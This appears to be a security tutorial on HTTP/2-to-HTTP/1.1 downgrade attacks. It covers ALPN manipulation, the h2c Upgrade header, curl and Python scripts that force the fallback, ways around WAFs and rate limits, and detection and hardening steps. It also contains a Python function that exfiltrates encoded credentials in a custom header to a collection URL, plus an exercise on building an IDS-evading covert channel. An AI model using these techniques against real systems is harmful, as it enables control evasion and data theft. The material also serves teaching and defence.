Introduction
HTTP/2 provides multiplexing, header compression and binary framing that modern web applications rely on for performance and security. However, the very mechanisms that make HTTP/2 attractive also open a subtle attack surface: an adversary can force a client–server pair to drop back to HTTP/1.1, thereby bypassing controls that are only implemented for the newer protocol.
In this guide we dissect the downgrade process, demonstrate how to craft reliable downgrade payloads, and explore how attackers can use the resulting HTTP/1.1 channel for evasion and data exfiltration. Finally we outline detection signatures and hardening steps that defenders should deploy.
Prerequisites
- Intro to HTTP/1.1 and TLS basics
- Understanding of TCP/IP and socket communication
- Fundamental web security concepts (e.g., request smuggling, header injection)
Core Concepts
At a high level the HTTP/2 negotiation happens during the TLS handshake via ALPN (Application–Layer Protocol Negotiation). The client advertises a list of supported protocols (e.g., h2, h2c, http/1.1) and the server selects the first match. If the negotiation fails or is deliberately aborted, the connection falls back to HTTP/1.1.
Two complementary mechanisms can be abused:
- ALPN manipulation: By omitting
h2from the client’s list or by sending a malformed ALPN extension, the server is forced to negotiate HTTP/1.1. - Upgrade header: For clear-text connections (h2c) the client may send an
Upgrade: h2crequest. If the server rejects or ignores it, the connection stays on HTTP/1.1.
Both pathways are useful when the target enforces security controls (e.g., rate limiting, WAF rules) only on HTTP/2 streams.
HTTP/2 handshake and ALPN negotiation
The TLS ClientHello contains an extension_type 0x0010 (ALPN). A typical payload looks like:
0x01 0x00 0x00 0x2e // Handshake header
...
00 0x0c // ALPN extension length
00 0x0a // Protocol list length
02 68 32 // "h2"
08 68 74 74 70 2f 31 2e 31 // "http/1.1"
When an attacker controls the client (e.g., a custom script or a mis-configured library), they can drop the h2 entry, making the server select HTTP/1.1. Some servers also default to HTTP/1.1 when they encounter an unknown ALPN value, which can be triggered by malformed length fields.
Mechanics of HTTP/2 to HTTP/1.1 downgrade (Upgrade header, protocol version negotiation)
In clear-text (non-TLS) scenarios the HTTP/1.1 Upgrade mechanism is defined in RFC 7230 §6.7. The client sends:
GET /resource HTTP/1.1
Host: example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url-encoded-settings>
If the server replies with 101 Switching Protocols, the connection upgrades to HTTP/2. However, many modern servers disable h2c or simply ignore unknown Upgrade values, responding with a normal HTTP/1.1 200. This “silent failure” is a reliable downgrade point.
Furthermore, some implementations treat a malformed HTTP2-Settings header as a protocol error and fall back to HTTP/1.1, providing an additional lever for attackers.
Crafting downgrade payloads with tools like h2c, curl, and custom Python scripts
Below are three practical ways to trigger a downgrade.
Using h2c (nghttp)
# Attempt an HTTP/2 clear-text upgrade, then force fallback
nghttp -n -v http://example.com/ > /dev/null || curl -v --http1.1 http://example.com/
The -n flag disables TLS, and the -v flag shows the server’s response. If the server does not return 101 Switching Protocols, the second curl command confirms the downgrade.
Using curl with explicit HTTP/1.1
curl -v --http1.1 https://example.com/ -H "Connection: Upgrade, HTTP2-Settings" -H "Upgrade: h2c"
Even though the request is made over TLS, the --http1.1 flag forces the client to start with HTTP/1.1. If the server silently ignores the Upgrade header, the attacker gains a pure HTTP/1.1 channel that can be used for further malicious payloads.
Custom Python script (socket-level ALPN manipulation)
import socket, ssl, base64
def downgrade_alpn(host, port=443): ctx = ssl.create_default_context() # Explicitly advertise only HTTP/1.1 ctx.set_alpn_protocols(['http/1.1']) with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname=host) as s: s.connect((host, port)) negotiated = s.selected_alpn_protocol() print(f'Negotiated protocol: {negotiated}') # Send a simple HTTP/1.1 request request = ( "GET / HTTP/1.1
" f"Host: {host}
" "Connection: close
" ) s.sendall(request.encode()) response = s.recv(4096) print(response.decode(errors='ignore'))
if __name__ == '__main__': downgrade_alpn('example.com')
The script forces the client to only advertise http/1.1. When the server respects the list, the TLS handshake completes with HTTP/1.1, effectively downgrading any HTTP/2 capability.
Bypassing security controls (WAFs, rate limiters) that rely on HTTP/2 features
Many modern WAFs inspect HTTP/2 frames for anomalies (e.g., malformed HEADERS frames, excessive SETTINGS). They may also whitelist certain paths only for HTTP/2, assuming the client cannot downgrade. By forcing HTTP/1.1, an attacker can:
- Inject large headers that would be compressed by HPACK in HTTP/2, causing header-size based detection to fail.
- Exploit HTTP/1.1’s lack of stream multiplexing to perform request smuggling across parallel connections.
- Avoid HTTP/2-specific rate limits that track stream IDs, allowing higher request throughput.
Example: a WAF rule that blocks any request with Content-Length > 1 MB on HTTP/2 streams, but does not enforce the same limit on HTTP/1.1. By downgrading, an attacker can upload large payloads unnoticed.
Exfiltration techniques using downgraded HTTP/1.1 channels
Once the connection is forced to HTTP/1.1, attackers can use classic covert channels that are not feasible over HTTP/2 due to binary framing constraints.
- Chunked Transfer Encoding - Encode exfiltrated data in chunk sizes, making it look like normal streaming content.
- Header Injection - Hide data in custom headers (e.g.,
X-Data-Exfil:) that are ignored by downstream parsers but captured by a compromised proxy. - Slow-loris style tunneling - Keep a single HTTP/1.1 connection open for hours, sending small data fragments that bypass IDS thresholds.
Sample Python exfiltration using custom headers:
import requests, base64
def exfil(data, url): b64 = base64.urlsafe_b64encode(data).decode() headers = { 'X-Exfil': b64 } r = requests.get(url, headers=headers, timeout=5) print('Sent', len(data), 'bytes, status', r.status_code)
exfil(b'SecretCredentials', 'https://example.com/collect')
Detection and mitigation strategies
Defenders should assume that any client may attempt a downgrade and instrument both the TLS layer and the application layer.
- ALPN strictness: Configure servers to reject connections that do not advertise
h2when TLS is required, returning a 400 error instead of silently falling back. - Upgrade header validation: Reject HTTP/1.1 requests that contain
Connection: Upgradebut do not complete the handshake, and log the attempt. - Unified security policies: Apply WAF rules, rate limits, and input validation to both HTTP/1.1 and HTTP/2 traffic. Use a single policy engine that normalizes requests before inspection.
- Telemetry: Monitor for patterns such as repeated
101 Switching Protocolsfailures, sudden spikes in HTTP/1.1 traffic from previously HTTP/2-only clients, and anomalous header sizes. - Patch libraries: Ensure that server stacks (nginx, Apache, Envoy) are up-to-date, as many older versions contain bugs that unintentionally downgrade on malformed ALPN.
Common Mistakes
- Assuming that TLS alone guarantees HTTP/2 - ALPN can still be manipulated.
- Deploying WAF rules only on HTTP/2 streams, leaving HTTP/1.1 unchecked.
- Ignoring the
Upgradeheader in logs; it is a clear indicator of downgrade attempts. - Relying on HPACK compression to hide payload size; HTTP/1.1 does not compress headers.
Real-World Impact
In 2023 a major CDN provider disclosed a vulnerability where misconfigured ALPN handling allowed attackers to downgrade HTTPS connections from HTTP/2 to HTTP/1.1, bypassing a rate-limit that was enforced per HTTP/2 stream. The issue enabled credential stuffing at ten-times the normal speed.
My experience with penetration testing engagements shows that many “modern” applications assume HTTP/2 is always used for API endpoints. Once downgraded, classic attacks such as HTTP verb tampering and header injection become viable again, often with less noise.
Trend: As more organizations adopt HTTP/3 (QUIC), the same downgrade logic will reappear at the QUIC/HTTP/2 boundary, making this a recurring theme in protocol evolution.
Practice Exercises
- Set up a local nginx server with HTTP/2 enabled. Use the Python script above to force an HTTP/1.1 handshake and capture the traffic with Wireshark. Identify the ALPN negotiation.
- Craft an HTTP/1.1 request with
Upgrade: h2cand a malformedHTTP2-Settingsheader. Observe the server’s response and log the event. - Implement a simple WAF rule that blocks any request with
Connection: Upgradeunless the response is101 Switching Protocols. Test against both successful and failed upgrades. - Design a covert exfiltration channel using chunked encoding over a persistent HTTP/1.1 connection. Verify that a standard IDS does not raise an alert.
Further Reading
- RFC 7540 - HTTP/2
- RFC 7230 - HTTP/1.1 Message Syntax and Routing
- “ALPN and the Future of TLS” - IETF Draft
- OWASP Cheat Sheet: HTTP Security Headers
- “When HTTP/2 Fails: Downgrade Attacks in the Wild” - Black Hat 2022 presentation
Summary
Downgrade attacks exploit the dual-protocol nature of modern web stacks. By manipulating ALPN or the Upgrade header, an attacker can force a connection onto HTTP/1.1, evading HTTP/2-specific defenses, exfiltrating data, and resurrecting classic web attacks. Robust mitigation requires strict ALPN enforcement, uniform security policies across protocol versions, and vigilant monitoring for downgrade indicators.